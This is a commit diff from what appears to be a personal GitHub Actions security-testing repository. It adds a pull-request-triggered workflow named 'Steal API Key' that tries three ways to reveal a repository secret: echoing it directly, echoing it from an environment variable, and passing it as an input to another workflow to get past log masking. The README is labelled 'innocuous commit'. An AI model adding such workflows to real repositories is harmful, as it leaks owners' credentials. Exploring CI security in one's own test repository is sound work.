Steal api key

.github/workflows/prove-dispatch-works.yaml

@@ -1,35 +1,35 @@
-# A basic workflow to dispatch another workflow
-name: Dispatch Workflow
+# # A basic workflow to dispatch another workflow
+# name: Dispatch Workflow
 
-# Controls when the action will run.
-# This workflow now runs on pushes AND pull requests
-on: [pull_request]
+# # Controls when the action will run.
+# # This workflow now runs on pushes AND pull requests
+# on: [pull_request]
 
-# A workflow run is made up of one or more jobs that can run sequentially or in parallel
-jobs:
-  # This workflow contains a single job called "print"
-  print:
-    # The type of runner that the job will run on
-    runs-on: ubuntu-latest
+# # A workflow run is made up of one or more jobs that can run sequentially or in parallel
+# jobs:
+#   # This workflow contains a single job called "print"
+#   print:
+#     # The type of runner that the job will run on
+#     runs-on: ubuntu-latest
 
-    # This block grants the GITHUB_TOKEN the permission
-    # to trigger other workflows.
-    permissions:
-      actions: write
+#     # This block grants the GITHUB_TOKEN the permission
+#     # to trigger other workflows.
+#     permissions:
+#       actions: write
 
-    # Steps represent a sequence of tasks that will be executed as part of the job
-    steps:
-      # This step checks out a copy of your repository
-      # so that git and gh commands have context.
-      - name: Checkout repository
-        uses: actions/checkout@v4
+#     # Steps represent a sequence of tasks that will be executed as part of the job
+#     steps:
+#       # This step checks out a copy of your repository
+#       # so that git and gh commands have context.
+#       - name: Checkout repository
+#         uses: actions/checkout@v4
 
-      - name: Trigger the vulnerable workflow dispatch
-        env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-        run: |
-          # We'll use a simple string for this test
-          test_str='Hello from the trigger workflow!'
-          echo "Triggering CTF workflow with payload: $test_str"
-          # Use double quotes to ensure the variable expands correctly.
-          gh workflow run workflow-dispatch.yaml --ref ${{ github.event.pull_request.head.ref }} -f message="$test_str"
+#       - name: Trigger the vulnerable workflow dispatch
+#         env:
+#           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+#         run: |
+#           # We'll use a simple string for this test
+#           test_str='Hello from the trigger workflow!'
+#           echo "Triggering CTF workflow with payload: $test_str"
+#           # Use double quotes to ensure the variable expands correctly.
+#           gh workflow run workflow-dispatch.yaml --ref ${{ github.event.pull_request.head.ref }} -f message="$test_str"

.github/workflows/steal-api-key.yaml

@@ -0,0 +1,36 @@
+name: Steal API Key
+
+on: [pull_request]
+
+jobs:
+  steal-api-key:
+    runs-on: ubuntu-latest
+
+    # to trigger other workflows.
+    permissions:
+      actions: write
+
+    steps:
+      # This step checks out a copy of your repository
+      # so that git and gh commands have context.
+      - name: Checkout repository
+        uses: actions/checkout@v4
+
+
+      - name: Attempt to reveal the secret
+        env:
+          API_KEY: ${{ secrets.API_KEY }}
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+        run: |
+          echo "Attempt 1: Direct echo"
+          echo ${{ secrets.API_KEY }}
+
+          echo "Attempt 2: Echo from an environment variable"
+          echo $API_KEY
+
+          echo "Attempt 3: Send api key to a workflow dispatch, removing command line printing protection."
+          if gh workflow run workflow-dispatch.yaml --ref ${{ github.event.pull_request.head.ref }} -f message="$API_KEY"; then
+              echo "Workflow dispatched successfully."
+          else
+              echo "Failed to dispatch workflow."
+          fi

.github/workflows/workflow-dispatch.yaml

@@ -12,17 +12,11 @@ on:
         type: string
 
 jobs:
-  exfiltrate-the-flag:
+  exfiltrate-the-secret:
     runs-on: ubuntu-latest
-    env:
-      API_KEY: ${{ secrets.API_KEY }} # Make the secret available as an env var
 
     steps:
-      - name: Print the dispatch message (INTENTIONALLY VULNERABLE)
-        run: |
-          echo "The received message is: ${{ github.event.inputs.message }}"
-
-      - name: A safe step for comparison
+      - name: Print the dispatch message securely
         env:
           USER_MESSAGE: ${{ github.event.inputs.message }}
         run: |

README.md

@@ -1,2 +1,4 @@
 # GitHubActionSecurityTesting
 See what I can explore for insecure GitHub Action code.
+
+Another innocuous commit.